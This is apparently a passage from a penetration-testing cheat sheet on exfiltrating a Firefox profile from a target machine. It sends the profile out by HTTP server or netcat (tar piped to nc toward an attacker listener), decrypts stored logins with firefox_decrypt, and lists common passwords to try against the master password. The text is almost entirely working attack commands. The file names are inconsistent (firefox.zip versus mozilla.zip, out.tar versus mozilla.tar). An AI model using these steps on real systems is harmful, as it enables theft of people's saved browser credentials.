  • Zip

    First, zip .firefox directory in target machine, and open web server to transfer the zip file to local machine.

    zip -r /tmp/firefox.zip .firefox
    cd /tmp
    python3 -m http.server 8000
    Copied!

    In local machine, download the zip file from the remote machine, and decompress it.

    wget http://<target-ip>:8000/mozilla.zip
    unzip mozilla.zip
    Copied!
  • Tar

    If we cannot use zip, tar also can be used. In local machine, start listener for getting the archived directory. "out.tar" will be created when the remote machine will send the compressed directory.

    nc -lvnp 1234 > out.tar
    Copied!

    In remote machine, compress the directory and transfer over netcat.

    tar -cf - mozilla/ | nc <local-ip> 1234
    Copied!

    Then, decompress it in local.

    tar -xf mozilla.tar
    Copied!

To crack the profile of Firefox, use firefox_decrypt.

python3 firefox_decrypt.py .mozilla/firefox/<id>.default-release
Copied!

If we’ll be asked the master password and we don’t know it, try common passwords.

admin
password
password1
password123
root
